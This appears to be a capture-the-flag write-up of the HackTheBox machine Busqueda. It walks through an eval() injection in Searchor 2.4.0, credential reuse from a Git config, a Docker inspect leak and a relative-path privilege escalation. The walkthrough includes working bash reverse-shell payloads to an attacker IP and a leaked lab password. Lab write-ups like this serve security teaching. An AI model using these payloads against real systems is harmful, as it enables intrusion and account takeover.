Target IP: 10.10.11.208
Hostname: searcher.htb

Initial Reconnaissance

I started by adding the hostname to /etc/hosts, then scanned the target.

echo "10.10.11.208 searcher.htb" | sudo tee -a /etc/hosts
nmap -sC -sV 10.10.11.208

Only two ports were open.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open  http    Apache httpd 2.4.52

The Searcher Web Application

Port 80 hosted a search tool. It let you pick a search engine, type a query, and it either returned a URL or redirected you to the results. The footer gave away the whole stack.

<p class="copyright">Powered by
  <a href="https://flask.palletsprojects.com">Flask</a> and
  <a href="https://github.com/ArjunSharda/Searchor">Searchor 2.4.0</a>
</p>

Flask plus Searchor 2.4.0 is the interesting part. That version of Searchor builds its URL with eval() on user input, which is a textbook command injection.

Searchor 2.4.0 Command Injection

Because the query ends up inside an eval() call, I could break out of the string and run arbitrary Python. The payload closes the original argument, calls os.system, and comments out the rest of the expression.

',__import__('os').system('<reverse shell>')) #

Wrapping the reverse shell in base64 keeps the special characters from breaking the request. There is a public exploit that automates exactly this, but the core request is simple:

rev=$(echo -ne "bash -c 'bash -i >& /dev/tcp/10.10.14.20/9001 0>&1'" | base64)
curl -s -X POST http://searcher.htb/search \
  -d "engine=Google&query=',__import__('os').system('echo ${rev}|base64 -d|bash')) #"

The listener caught a shell as svc, which was enough for the user flag.

cat user.txt

Finding Credentials in .git

The web application lived in /var/www/app, and it was a Git working copy. The remote URL in the Git config still carried credentials.

cat /var/www/app/.git/config

[remote "origin"]
    url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git

The password jh1usoih2bkjaspwe92 turned out to be reused for the svc user, so it also opened up sudo. I added the Gitea vhost to /etc/hosts for later.

echo "10.10.11.208 gitea.searcher.htb" | sudo tee -a /etc/hosts

Privilege Escalation

svc could run one script as root.

sudo -l

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

The script exposed three actions: docker-ps, docker-inspect, and full-checkup.

sudo python3 /opt/scripts/system-checkup.py docker-ps

CONTAINER ID   IMAGE                ...   NAMES
960873171e2e   gitea/gitea:latest   ...   gitea
f84a6b33fb5a   mysql:8              ...   mysql_db

docker-inspect passes a user-controlled --format straight to docker inspect, so I could dump the full container config, including environment variables.

sudo python3 /opt/scripts/system-checkup.py docker-inspect \
  --format='' 960873171e2e

That leaked the Gitea database password and let me log into Gitea as the administrator, where the system-checkup.py source lives in a private repo. Reading that source revealed the real weakness in full-checkup.

elif action == 'full-checkup':
    arg_list = ['./full-checkup.sh']
    print(run_command(arg_list))

full-checkup runs ./full-checkup.sh with a relative path. Since the script inherits the current working directory, I could plant my own full-checkup.sh in a directory I control and run the sudo action from there.

cd ~
echo -en '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.20/1234 0>&1' > ./full-checkup.sh
chmod +x ./full-checkup.sh
sudo python3 /opt/scripts/system-checkup.py full-checkup

The listener returned a root shell, and the root flag followed.

connect to [10.10.14.20] from (UNKNOWN) [10.10.11.208] 37162
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt

Takeaways

Busqueda chains three very common mistakes. A library that uses eval() on user input gives the foothold, credentials hardcoded in a Git remote give lateral movement, and a privileged script that calls a helper by relative path gives root.

The privilege escalation is the classic lesson: when a root script executes ./something, it trusts wherever you happened to run it from. Absolute paths in privileged scripts are not a style preference: they are a security boundary.